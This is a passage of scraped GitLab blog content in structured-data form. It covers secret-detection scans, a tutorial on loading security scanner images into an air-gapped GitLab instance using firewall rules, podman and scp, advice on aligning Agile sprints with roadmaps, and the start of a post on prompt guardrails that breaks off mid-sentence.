instance, you can define [custom rules](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html#customize-analyzer-rulesets) using regex patterns to detect sensitive data like credit card numbers, phone numbers, or other information specific to your organization.\n\n## Try GitLab Secret Detection\n\n1. [Enable](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#enable-the-analyzer) Secret Detection in your GitLab pipeline.  \n2. Set `SECRET_DETECTION_HISTORIC_SCAN: true`.  \n3. Push and trigger a pipeline to scan all branches and commits.\n\nGitLab makes securing your code simple and comprehensive. Don’t let an old branch or commit compromise your security — give historical scans a try today!\n\n> #### [Sign up for a free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/) to get started with security scanners like Secret Detection.",[2488,696,479,754],{"slug":2627,"featured":6,"template":678},"how-to-scan-a-full-commit-history-to-detect-sensitive-secrets","content:en-us:blog:how-to-scan-a-full-commit-history-to-detect-sensitive-secrets.yml","How To Scan A Full Commit History To Detect Sensitive Secrets","en-us/blog/how-to-scan-a-full-commit-history-to-detect-sensitive-secrets.yml","en-us/blog/how-to-scan-a-full-commit-history-to-detect-sensitive-secrets",{"_path":2633,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2634,"content":2640,"config":2645,"_id":2647,"_type":16,"title":2648,"_source":17,"_file":2649,"_stem":2650,"_extension":20},"/en-us/blog/tutorial-security-scanning-in-air-gapped-environments",{"title":2635,"description":2636,"ogTitle":2635,"ogDescription":2636,"noIndex":6,"ogImage":2637,"ogUrl":2638,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2638,"schema":2639},"Tutorial: Security scanning in air-gapped environments","Security scanning remains crucial even in air-gapped environments to detect internal threats, prevent data exfiltration, and maintain operational integrity. Learn how GitLab can help get air-gapped environments secure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099301/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750099300786.jpg","https://about.gitlab.com/blog/tutorial-security-scanning-in-air-gapped-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Security scanning in air-gapped environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2025-02-05\",\n      }",{"title":2635,"description":2636,"authors":2641,"heroImage":2637,"date":2642,"body":2643,"category":674,"tags":2644},[1622],"2025-02-05","Air-gapped environments are computer networks or systems that are physically isolated from unsecured networks, such as the public internet or unsecured local area networks. This isolation is implemented as a security measure to protect sensitive data and critical systems from external cyber threats by providing:\n\n* Enhanced security: By physically isolating systems from external networks, air-gapped environments help prevent remote attacks, malware infections, and unauthorized data access. This is crucial for highly sensitive data and critical systems.\n* Data protection: Air-gapping provides the strongest protection against data exfiltration since there's no direct connection that attackers could use to steal information.\n* Critical infrastructure protection: For systems that control vital infrastructure (like power plants, water treatment facilities, or military systems), air-gapping helps prevent potentially catastrophic cyber attacks.\n* Compliance requirements: Many regulatory frameworks require air-gapping for certain types of sensitive data or critical systems, particularly in government, healthcare, and financial sectors.\n* Malware protection: Without network connectivity, systems are protected from network-based malware infections and ransomware attacks.\n\nEven though air-gapped systems are isolated, they can still have vulnerabilities. Regular security scanning helps identify these weaknesses before they can be exploited. In this article, you will learn the different security scanners GitLab provides and how they can be added/updated in a limited-connectivity environment.\n\n## GitLab security scanners in air-gapped environments\n\nGitLab provides a variety of different security scanners for the complete application lifecycle. The scanners that support air-gapped environments include:\n\n* [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/index.html#running-sast-in-an-offline-environment)  \n* [Dynamic Application Security Testing (DAST](https://docs.gitlab.com/ee/user/application_security/dast/browser/configuration/offline_configuration.html))  \n* [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/index.html#offline-configuration)  \n* [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/index.html#running-container-scanning-in-an-offline-environment)  \n* [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/index.html#offline-environment)  \n* [API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/configuration/offline_configuration.html)  \n* [License Scanning](https://docs.gitlab.com/ee/user/compliance/license_scanning_of_cyclonedx_files/index.html#running-in-an-offline-environment)\n\nBy default, GitLab Self-Managed instances pull security scanner images from the public GitLab container registry (registry.gitlab.com) and store them within the [built-in local GitLab container registry](https://docs.gitlab.com/ee/user/packages/container_registry/). I will demonstrate this flow below by running the following pipeline that scans for secrets on a [sample project](https://gitlab.com/gitlab-da/tutorials/security-and-governance/owasp/juice-shop): \n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n```\n\nWhen running the job in an internet-connected GitLab instance the job passes:\n\n![GitLab Runner with internet access successfully pulling from external registry\n](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/pass-1_aHR0cHM6_1750099328577.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner with internet access successfully pulling from external registry\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\nHowever, If I disable internet access to the VM running GitLab, the `secret-detection` job will fail to download the container image, causing the job to fail:\n\n![GitLab Runner without internet access failing to pull from external registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/fail-1_aHR0cHM6_1750099328577.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner without internet access failing to pull from external registry\u003C/i>\u003C/center>\n\u003Cbr>\u003C/br>\n\nAlternatively, if I set my GitLab Runners’ pull image policy to `if-not-present` from `always`, I can load the cached version of the scanner if it was run before on the internet by using the image stored in our local docker:\n\n![GitLab Runner without internet access successfully pulling from internal registry cache](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099329/Blog/Content%20Images/Blog/Content%20Images/pass-2_aHR0cHM6_1750099328579.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner without internet access successfully pulling from internal registry cache\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\n### Setting up offline scanning prerequisites\n\nRunning these security scanners in an air-gapped environment requires the following:\n\n* [GitLab Ultimate subscription](https://about.gitlab.com/pricing/ultimate/)  \n* [Offline cloud license](https://about.gitlab.com/pricing/licensing-faq/cloud-licensing/#offline-cloud-licensing)  \n* GitLab Self-Managed cluster\n\nYou can follow along with this tutorial in any GitLab Self-Managed EE instance (even those that are not air-gapped) to learn how to transfer and run images in an air-gapped environment. In this tutorial, I will demonstrate how to load scanner images onto a GitLab-EE instance running in a Google Compute VM where I cut off the `EGRESS` to everything by implementing firewall rules:\n\n```bash\n# egress firewall rule to block all outbound traffic to the internet\n$ gcloud compute firewall-rules create deny-internet-egress \\\n    --direction=EGRESS \\\n    --priority=1000 \\\n    --network=default \\\n    --action=DENY \\\n    --rules=all \\\n    --destination-ranges=0.0.0.0/0 \\\n    --target-tags=no-internet\n\n# Create an allow rule for internal traffic with higher priority\n$ gcloud compute firewall-rules create allow-internal-egress \\\n    --direction=EGRESS \\\n    --priority=900 \\\n    --network=default \\\n    --action=ALLOW \\\n    --rules=all \\\n    --destination-ranges=10.0.0.0/8,192.168.0.0/16,172.16.0.0/12 \\\n    --target-tags=no-internet\n\n# Apply tag to VM\n$ gcloud compute instances add-tags YOUR_VM_NAME \\\n    --zone=YOUR_ZONE \\\n    --tags=no-internet\n```\n\nThen, once I SSH into my VM, you can see we cannot connect to registry.gitlab.com:\n\n```bash\n# showing I can’t access the gitlab container registry\n$ ping registry.gitlab.com\nPING registry.gitlab.com (35.227.35.254) 56(84) bytes of data.\n^C\n--- registry.gitlab.com ping statistics ---\n3 packets transmitted, 0 received, 100% packet loss, time 2031ms\n```\n\n**Note:** I am still allowing ingress so I can copy files and SSH into the machine.\n\n## Load security scanners in air-gapped environments\n\nTo use the various security scanners on air-gapped environments, the GitLab Runner must be able to fetch the scanner container images from GitLab’s built-in container registry. This means that the container images for the security scanners must be downloaded and packaged in a separate environment with access to the public internet. The process of loading security scanners onto an air-gapped environment includes the following:\n\n1. Download and package container images from the public internet.\n2. Transfer images to offline environment.\n3. Load transferred images into offline container registry.\n\nNow let’s go over how we can implement GitLab Secret Detection in an air-gapped environment.\n\n### Download and package container images from public internet\n\nLet’s download the container image for secret detection and store it within our local container registry. Other scanner images can be found in the [offline deployments documentation](https://docs.gitlab.com/ee/user/application_security/offline_deployments/). I will be using Podman desktop to download these images, but you can use Docker desktop or other alternatives.\n\n1. Pull the GitLab Secret Detection image.\n\n```bash\n$ podman pull registry.gitlab.com/security-products/secrets:6\nTrying to pull registry.gitlab.com/security-products/secrets:6...\nGetting image source signatures\nCopying blob sha256:999745130ac045f2b1c29ecce088b43fc4a95bbb82b7960fb7b8abe0e3801bf8\nCopying blob sha256:a4f7c013bb259c146cd8455b7c3943df7ed84b157e42a2348eef16546d8179b1\nCopying blob sha256:1f3e46996e2966e4faa5846e56e76e3748b7315e2ded61476c24403d592134f0\nCopying blob sha256:400a41f248eb3c870bd2b07073632c49f1e164c8efad56ea3b24098a657ec625\nCopying blob sha256:9090f17a5a1bb80bcc6f393b0715210568dd0a7749286e3334a1a08fb32d34e6\nCopying blob sha256:c7569783959081164164780f6c1b0bbe1271ee8d291d3e07b2749ae741621ea3\nCopying blob sha256:20c7ca6108f808ad5905f6db4f7e3c02b21b69abdea8b45abfa34c0a2ba8bdb5\nCopying blob sha256:e8645a00be64d77c6ff301593ce34cd8c17ffb2b36252ca0f2588009a7918d2e\nCopying config sha256:0235ed43fc7fb2852c76e2d6196601968ae0375c72a517bef714cd712600f894\nWriting manifest to image destination\nWARNING: image platform (linux/amd64) does not match the expected platform (linux/arm64)\n0235ed43fc7fb2852c76e2d6196601968ae0375c72a517bef714cd712600f894\n\n$ podman images\nREPOSITORY                                                  TAG         IMAGE ID      CREATED      SIZE\nregistry.gitlab.com/security-products/secrets               6           0235ed43fc7f  4 hours ago  85.3 MB\n```\n\n2. Save the image as a tarball.\n\n```bash\n$ podman save -o secret-detection.tar registry.gitlab.com/security-products/secrets:6\n$ chmod +r secret-detection.tar\n$ ls -al secret-detection.tar\n-rw-r--r--@ 1 fern  staff  85324800 Jan 10 10:25 secret-detection.tar\n```\n\nAlternatively, you can use the [official GitLab template](https://docs.gitlab.com/ee/user/application_security/offline_deployments/#using-the-official-gitlab-template) on an environment with internet access to download the container images needed for the security scanners and save them as job artifacts or push them to the container registry of the project where the pipeline is executed. \n\n### Transfer images to offline environment\n\nNext, let's transfer the tarball to our air-gapped environment. This can be done in several ways, depending on your needs, such as:\n\n* Physical media transfer  \n* Data diodes  \n* Guard systems  \n* Cross-domain solutions (CDS) \n\nI will SCP (Secure Copy Protocol) the tarball directly to my VM that does not have egress access, but does allow ingress. As this is just for demonstration purposes, make sure to consult your organization's security policies and transfer procedures for air-gapped environments.\n\n#### Verify the image is not cached\n\nBefore transferring the file, I’ll delete the Docker images on my GitLab instance pertaining to secret detection to make sure they aren't cached:\n\n```bash\n$ docker images\nREPOSITORY                                                          TAG              IMAGE ID       CREATED        SIZE\nregistry.gitlab.com/security-products/secrets                       6                0235ed43fc7f   9 hours ago    84.8MB\nregistry.gitlab.com/security-products/secrets                       \u003Cnone>           16d88433af61   17 hours ago   74.9MB\n\n$ docker image rmi 16d88433af61 -f\nUntagged: registry.gitlab.com/security-products/secrets@sha256:f331da6631d791fcd58d3f23d868475a520f50b02d64000e2faf1def66c75d48\nDeleted: sha256:16d88433af618f0b405945031de39fe40b3e8ef1bddb91ca036de0f5b32399d7\nDeleted: sha256:1bb06f72f06810e95a70039e797481736e492201f51a03b02d27db055248ab6f\nDeleted: sha256:a5ef2325ce4be9b39993ce301f8ed7aad1c854d7ee66f26a56a96967c6606510\nDeleted: sha256:f7cdac818a36d6c023763b76a6589c0db7609ca883306af4f38b819e62f29471\nDeleted: sha256:5eabf4d47287dee9887b9692d55c8b5f848b50b3b7248f67913036014e74a0e9\nDeleted: sha256:51b7cb600604c0737356f17bc02c22bac3a63697f0bf95ba7bacb5b421fdb7da\nDeleted: sha256:1546193b011d192aa769a15d3fdd55eb4e187f201f5ff7506243abb02525dc06\nDeleted: sha256:1ea72408d0484c3059cc0008539e6f494dc829caa1a97d156795687d42d9cb57\nDeleted: sha256:1313ee9da7716d85f63cfdd1129f715e9bbb6c9c0306e4708ee73672b3e40f26\nDeleted: sha256:954ebfd83406f0dfed93eb5157ba841af5426aa95d4054174fff45095fd873a1\n\n$ docker image rmi 0235ed43fc7f -f\nUntagged: registry.gitlab.com/security-products/secrets:6\nDeleted: sha256:0235ed43fc7fb2852c76e2d6196601968ae0375c72a517bef714cd712600f894\nDeleted: sha256:f05f85850cf4fac79e279d93afb6645c026de0223d07b396fce86c2f76096c1f\nDeleted: sha256:7432b0766b885144990edd3166fbabed081be71d28d186f4d525e52729f06b1f\nDeleted: sha256:2c6e3361c2ee2f43bd75fb9c7c12d981ce06df2d51a134965fa47754760efff0\nDeleted: sha256:7ad7f7245b45fbe758ebd5788e0ba268a56829715527a9a4bc51708c21af1c7f\nDeleted: sha256:3b73a621115a59564979f41552181dce07f3baa17e27428f7fff2155042a1901\nDeleted: sha256:78648c2606a7c4c76885806ed976b13e4d008940bd3d7a18b52948a6be71b60d\nDeleted: sha256:383d4a6dc5be9914878700809b4a3925379c80ab792dfe9e79d14b0c1d6b5fad\n```\n\nThen I'll rerun the job to show the failure:\n\n![GitLab Runner without internet access fails to pull an image from internal registry cache](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099328580.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner without internet access fails to pull an image from internal registry cache\u003C/i>\u003C/center>\n\n#### SCP file to GitLab instance\n\nNow, from my local machine, I will SCP the file to my GitLab instance as follows:\n\n```bash\n$ gcloud compute scp secret-detection.tar INSTANCE:~ --zone=ZONE\nsecret-detection.tar                                                          100%   81MB  21.5MB/s   00:03\n```\n\n### Load transferred images into offline container registry\n\nNext, I'll SSH into my VM and load the Docker image:\n\n```bash\n$ gcloud compute ssh INSTANCE --zone=ZONE\n\n$ sudo docker load -i secret-detection.tar\nc3c8e454c212: Loading layer [==================================================>]  2.521MB/2.521MB\n51e93afaeedc: Loading layer [==================================================>]  32.55MB/32.55MB\ne8a25e39bb30: Loading layer [==================================================>]  221.2kB/221.2kB\n390704968493: Loading layer [==================================================>]  225.8kB/225.8kB\n76cf57e75f63: Loading layer [==================================================>]  17.64MB/17.64MB\nc4c7a681fd10: Loading layer [==================================================>]  4.608kB/4.608kB\nf0690f406157: Loading layer [==================================================>]  24.01MB/24.01MB\nLoaded image: registry.gitlab.com/security-products/secrets:6\n```\n\n### Run the scanners\n\nI'll [re-run the pipeline manually](https://docs.gitlab.com/ee/ci/pipelines/#run-a-pipeline-manually) and the scanner will be pulled from the cache. Once the pipeline completes, we can see the secret detection job is successful:\n\n![GitLab Runner without internet access successfully pulling from internal registry cache after image loaded](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750099328581.png)\n\n\u003Ccenter>\u003Ci>GitLab Runner without internet access successfully pulling from internal registry cache after image loaded\u003C/center>\u003C/i>\n\nIf you want to pull the image from a different location or you tag your images in a different way, you can edit the config as follows:\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nvariables:\n  SECURE_ANALYZERS_PREFIX: \"localhost:5000/analyzers\"\n```\n\nSee the [offline environments documentation](https://docs.gitlab.com/ee/user/application_security/offline_deployments/) for more information.\n\n### View scanner results\n\nOnce the scanner completes on the default branch, a vulnerability report is populated with all the findings. The vulnerability report provides information about vulnerabilities from scans of the default branch.\n\nYou can access the vulnerability report by navigating to the side tab and selecting **Secure > Vulnerability Report**:\n\n![GitLab Vulnerability Report with secret detection findings](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099328/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099328581.png)\n\n\u003Ccenter>\u003Ci>GitLab Vulnerability Report with secret detection findings\u003C/i>\u003C/center>\n\n\u003Cbr>\u003C/br>\n\nThe project’s vulnerability report provides:\n- totals of vulnerabilities per severity level\n- filters for common vulnerability attributes\n- details of each vulnerability, presented in tabular layout\n- a timestamp showing when it was updated, including a link to the latest pipeline\n\nWe can see that two vulnerabilities were detected by the Secret Detection scanner. If we click on a vulnerability, we will be transported to its vulnerability page:\n\n![GitLab Vulnerability Page showing detailed insights](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099329/Blog/Content%20Images/Blog/Content%20Images/insights_aHR0cHM6_1750099328582.png)\n\n\u003Ccenter>\u003Ci>GitLab Vulnerability Page showing detailed insights\u003C/center>\u003C/i>\n\n\u003Cbr>\u003C/br>\n\nThe vulnerability page provides details of the vulnerability, which can be used to triage and find a path to remediation. These vulnerability details include:\n- description\n- when it was detected\n- current status\n- available actions\n- linked issues\n- actions log\n- filename and line number of the vulnerability (if available)\n- severity\n\n## Read more\n\nTo learn more about GitLab and running security scanners in air-gapped environments, check out the following resources:\n\n* [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/)  \n* [GitLab Security and Compliance Solutions](https://about.gitlab.com/solutions/security-compliance/)  \n* [GitLab Offline Deployments Documentation](https://docs.gitlab.com/ee/user/application_security/offline_deployments/)  \n* [GitLab Application Security Documentation](https://docs.gitlab.com/ee/user/application_security/)\n",[696,674,185,479,754],{"slug":2646,"featured":92,"template":678},"tutorial-security-scanning-in-air-gapped-environments","content:en-us:blog:tutorial-security-scanning-in-air-gapped-environments.yml","Tutorial Security Scanning In Air Gapped Environments","en-us/blog/tutorial-security-scanning-in-air-gapped-environments.yml","en-us/blog/tutorial-security-scanning-in-air-gapped-environments",{"_path":2652,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2653,"content":2659,"config":2664,"_id":2666,"_type":16,"title":2667,"_source":17,"_file":2668,"_stem":2669,"_extension":20},"/en-us/blog/how-to-harmonize-agile-sprints-with-product-roadmaps",{"title":2654,"description":2655,"ogTitle":2654,"ogDescription":2655,"noIndex":6,"ogImage":2656,"ogUrl":2657,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2657,"schema":2658},"How to harmonize Agile sprints with product roadmaps","Apply best practices and GitLab features to your product journey, including creating centralized roadmaps, conducting review sessions, and tracking sprint lifecycles.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097231/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2821%29_2pdp2MNB7SoP4MhhiI1WIa_1750097230664.png","https://about.gitlab.com/blog/how-to-harmonize-agile-sprints-with-product-roadmaps","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to harmonize Agile sprints with product roadmaps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2025-02-04\",\n      }",{"title":2654,"description":2655,"authors":2660,"heroImage":2656,"date":2661,"body":2662,"category":1897,"tags":2663},[1894],"2025-02-04","Picture this: Product and Development teams are working in isolation. Product has created a 12-month roadmap and communicated it to internal stakeholders but didn't review it with their development team. Dev starts building the features planned for the upcoming sprint without considering the broader product roadmap, leading to missed opportunities to optimize timing, like running projects in parallel, accounting for team capacity, or building reusable APIs that could serve multiple initiatives. The lack of coordination results in inefficiencies and delayed value delivery.\n\nBalancing short-term wins with long-term vision isn’t easy; it requires clear communication, aligned priorities, and the right tools. In this guide, you'll learn strategies to help harmonize your Agile sprints with strategic roadmaps, tackle common challenges, and uncover actionable solutions tailored to your teams.\n\n## The importance of a single source of truth\n\nA consistent single source of truth for roadmaps with longer-range goals ensures you and your teams have access to up-to-date information about the bigger picture. In practice, this means maintaining a single, regularly updated platform where all roadmap details reside rather than keeping versions of the roadmap across multiple formats, each typically with slightly different information, causing a misaligned understanding of where you're headed.\n\n### Create a centralized roadmap\n\nBy creating a centralized roadmap for your team, you can:\n\n* communicate long-range strategy\n* minimize miscommunication\n* facilitate cross-functional alignment\n* quickly adapt to changes without losing context\n* self-serve information, reducing dependency on a single point of contact who retains the information\n\n***GitLab tip**: Use [epics](https://docs.gitlab.com/ee/user/group/epics/) and [Roadmap view](https://docs.gitlab.com/ee/user/group/roadmap/) to support both product planning and the transparent monitoring of delivery. The Roadmap view allows you to track progress, identify bottlenecks, and ensure alignment between high-level goals and sprint-level execution.*\n\n![Roadmap view for group](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097239117.png)\n\n## Collaborative roadmap review practices\n\nEstablish a regular review and sign-off process for roadmap updates that include Product, Engineering, and UX as part of the [product trio](https://www.producttalk.org/product-trio/). Collaborative reviews help you maintain alignment and minimize risk. At GitLab, I meet with my engineering manager and UX designer monthly to review and obtain sign-offs on any changes. We maintain a running sign-off on the roadmap wiki page itself that holds us accountable for keeping the schedule and provides transparency to the rest of the organization.\n\n#### How to extract value from review sessions\n\nTo make the most of the review session, aim for the following best practices:\n\n* Schedule routine reviews, monthly or quarterly, depending on how frequently the roadmap tends to fluctuate at your organization.\n* Validate alignment between product goals, UX lead time, and technical feasibility by discussing potential risks and dependencies upfront.\n  * Validate that the roadmap reflects current organizational business objectives.\n  * Ensure that design timelines are realistic and consider research or validation needs.\n  * Confirm that the roadmap allocates time for technical preparation, such as technical spikes or investigations, and ensures alignment with broader engineering priorities.\n* Optimize team utilization by considering capacity constraints and ensuring the sequence of work aligns with the team’s skill profile. This includes avoiding periods of underutilization or skill mismatches while effectively planning for situations like staffing level drops during holidays.\n* Right-size scope and set appropriate expectations about what can be achieved. We all want to do it all, but perfection is the enemy of progress so prioritize what truly matters to deliver incremental value efficiently. Seek opportunities to optimize by identifying ways to iterate or increase velocity, such as adjusting the order of work to reduce dependencies or leveraging reusable components to streamline development.\n* Encourage open dialogue about trade-offs and priorities to ensure all perspectives are considered. This collaborative approach helps identify creative solutions to challenges and builds consensus on the best path forward.\n\n***GitLab tip**: Use a [GitLab Wiki](https://docs.gitlab.com/ee/user/project/wiki/) page to complement the [Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/) feature. In the wiki, you can include expanded context about your product roadmap, such as business rationale, links to user research, RICE scores, and details about dependencies or risks. Link directly to the roadmap for easy access, and leverage the upcoming discussion threads feature to encourage async collaboration and feedback from your team.*\n\n![PlanFlow product roadmap](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097239118.png)\n\n## Continuous direction validation and progress measurement\n\nThe goal of a product roadmap isn’t just to stay on track – it’s to deliver real value to your customers. To make space for sharing ongoing user feedback and behavioral data consider incorporating regular touchpoints across your product trio outside of sprint cycles. These sessions can be used to review insights, analyze trends, and ensure that the product roadmap continues to reflect the evolving needs of your users. By grounding roadmap updates using real user insights, you’re not only delivering on outcomes but also adapting to what really matters to your customers.\n\nThe value you ship might come in the form of improved usability, reduced technical debt, or entirely new capabilities. When the product trio is aligned on the roadmap vision, they’re also aligned on the outcomes you’re working to achieve.\n\nTo measure whether you’re on track to deliver those outcomes, you need to closely scope the intended results. Scope creep, like late user story additions, can delay your ability to ship value. Additionally, it’s important to identify work that was delivered but doesn’t align with the roadmap and understand why.\n\n### Sprint planning\n\nRemaining aligned with your product roadmap starts with thoughtful sprint planning. Here are some best practices to keep your team on track and focused on delivering value:\n\n* Clearly define, and narrowly scope, desired outcomes to ensure high confidence in delivery.\n* Identify potential late additions or adjustments that could delay delivery, and build in buffers to maintain focus.\n* Align on the sequence of work with your team to optimize for capacity, skill profiles, and reducing dependencies.\n* To maintain focus and improve confidence of delivering on time, avoid planning to 100% of the team’s capacity. Leave room (10%-20%) for unknowns or new discoveries that may surface during the sprint.\n\n### During the sprint\n\nStaying aligned with your roadmap during the sprint requires focus, communication, and constant evaluation. While delivering value is the goal, it’s equally important to ensure the work in progress aligns with the outcomes you’ve scoped and planned.\n\n* Continuously validate the work in progress against roadmap outcomes to ensure every sprint contributes to the bigger picture.\n* Encourage the team to regularly check if they’re still working toward the intended goals and outcomes.\n* Maintain open communication throughout the sprint. Use daily standups or async updates to surface risks, unplanned work, or dependencies early and adjust where necessary.\n* Be ruthless about protecting the sprint. While the urge to solve emerging problems is natural, unplanned work should be carefully evaluated to avoid derailing agreed-upon priorities.\n* Proactively manage scope creep. If new work surfaces mid-sprint, assess whether it aligns with the current roadmap outcome’s narrowly scoped focus. While additional ideas or features may align conceptually with the broader outcome, they may not fit into the immediate plan to deliver value as soon as possible. Document these suggestions and evaluate if they should be considered as part of future iterations or as a nice-to-have for the future, rather than introducing them into the current sprint and delaying agreed-upon priorities.\n\n### Sprint retros\n\nIn your sprint retrospectives, take time to reflect with your team on how well you are collectively progressing toward your desired outcomes. Questions to ask:\n\n* Did any unplanned work get introduced during the sprint that delayed your ability to deliver value? Identify why it happened and what adjustments can be made.\n* Did you deliver any work that deviated from the roadmap? Discuss what led to this and what you can learn for future planning.\n\nFrom sprint planning through retrospectives, staying focused on delivering tangible outcomes to users and stakeholders is a team responsibility. By aligning every step of the way, you ensure that your roadmap remains a clear guide for delivering value efficiently and consistently.\n\n***GitLab tip:** Use [burndown charts](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html) to visualize progress and detect deviations early, helping your team stay focused on delivering outcomes.*\n\n![Burndown chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097239120.png)\n\n## Delivering roadmap outcomes with confidence\n\nHarmonizing Agile sprints with strategic roadmaps requires intentionality, team buy-in, and the proper tools. By creating a roadmap single source of truth, fostering collaborative reviews, and measuring progress towards outcomes, you can align execution with vision. With GitLab’s robust planning features, teams can turn challenges into opportunities for innovation and growth.\n\nReady to align your sprints with your strategic roadmap? [Start a free trial of GitLab](https://about.gitlab.com/free-trial/) today and explore the tools that can help you deliver outcomes with confidence.\n\n## Learn more\n\n- [Agile planning content hub](https://about.gitlab.com/blog/categories/agile-planning/)\n- [GitLab’s new Planner role for Agile planning teams](https://about.gitlab.com/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/)\n- [Get to know the GitLab Wiki for effective knowledge management](https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/)",[1899,696,1444,479],{"slug":2665,"featured":92,"template":678},"how-to-harmonize-agile-sprints-with-product-roadmaps","content:en-us:blog:how-to-harmonize-agile-sprints-with-product-roadmaps.yml","How To Harmonize Agile Sprints With Product Roadmaps","en-us/blog/how-to-harmonize-agile-sprints-with-product-roadmaps.yml","en-us/blog/how-to-harmonize-agile-sprints-with-product-roadmaps",{"_path":2671,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2672,"content":2678,"config":2685,"_id":2687,"_type":16,"title":2688,"_source":17,"_file":2689,"_stem":2690,"_extension":20},"/en-us/blog/how-gitlab-uses-prompt-guardrails-to-help-protect-customers",{"title":2673,"description":2674,"ogTitle":2673,"ogDescription":2674,"noIndex":6,"ogImage":2675,"ogUrl":2676,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2676,"schema":2677},"How GitLab uses prompt guardrails to help protect customers","Learn what prompt guardrails are, how they help mitigate security risks, and what unique considerations GitLab has taken into account when implementing them.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663918/Blog/Hero%20Images/aipower.jpg","https://about.gitlab.com/blog/how-gitlab-uses-prompt-guardrails-to-help-protect-customers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab uses prompt guardrails to help protect customers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"},{\"@type\":\"Person\",\"name\":\"Roger Woo\"}],\n        \"datePublished\": \"2025-01-30\",\n      }",{"title":2673,"description":2674,"authors":2679,"heroImage":2675,"date":2682,"body":2683,"category":791,"tags":2684},[2680,2681],"David O'Regan","Roger Woo","2025-01-30","Imagine introducing a powerful new AI tool that boosts your team's productivity — accelerating code development, resolving issues faster, and streamlining workflows. The excitement is palpable, but questions about security and compliance quickly arise. How do you manage the risk of AI inadvertently exposing sensitive data or responding to malicious prompts? This is where prompt guardrails play a crucial role.\n\nPrompt guardrails are structured safeguards – combining instructions, filters, and context boundaries – designed to guide AI models toward secure and reliable responses. Think of them as safety rails on a bridge, working to keep data and interactions on the correct path while supporting your organization's security protocols. In this article, we'll explore how GitLab implements these guardrails, the risks they address, and their importance for security-conscious enterprises and compliance-focused teams.\n\n## Why prompt guardrails matter\n\nAI models have transformed how organizations work, offering powerful tools to enhance productivity and innovation. However, this power comes with inherent risks. Without safeguards, AI systems may unintentionally disclose sensitive information, such as personally identifiable information (PII) or proprietary business data, or potentially act on malicious instructions. Prompt guardrails address these challenges by creating boundaries for AI models to access and process approved content, contributing to reduced risk of unintended data exposure or manipulation.\n\nFor businesses operating under strict regulations like GDPR, prompt guardrails serve as essential protection mechanisms. More importantly, they build trust among decision-makers, end users, and customers, demonstrating [GitLab's commitment to secure and responsible AI usage](https://about.gitlab.com/blog/introducing-the-gitlab-ai-transparency-center/). With prompt guardrails in place, teams can embrace AI's potential while maintaining focus on protecting their critical assets.\n\n## GitLab’s approach to prompt guardrails\n\nAt GitLab, we're [building AI features](https://about.gitlab.com/blog/categories/ai-ml/) with security, transparency, and accountability in mind because we understand these elements are critical for our enterprise customers and their auditors.  \n\nHere’s how we’re putting that into practice.\n\n### Structured prompts and context boundaries\n\nOur system utilizes tags – like `\u003Cselected_code>` or `\u003Clog>` – to define boundaries for AI 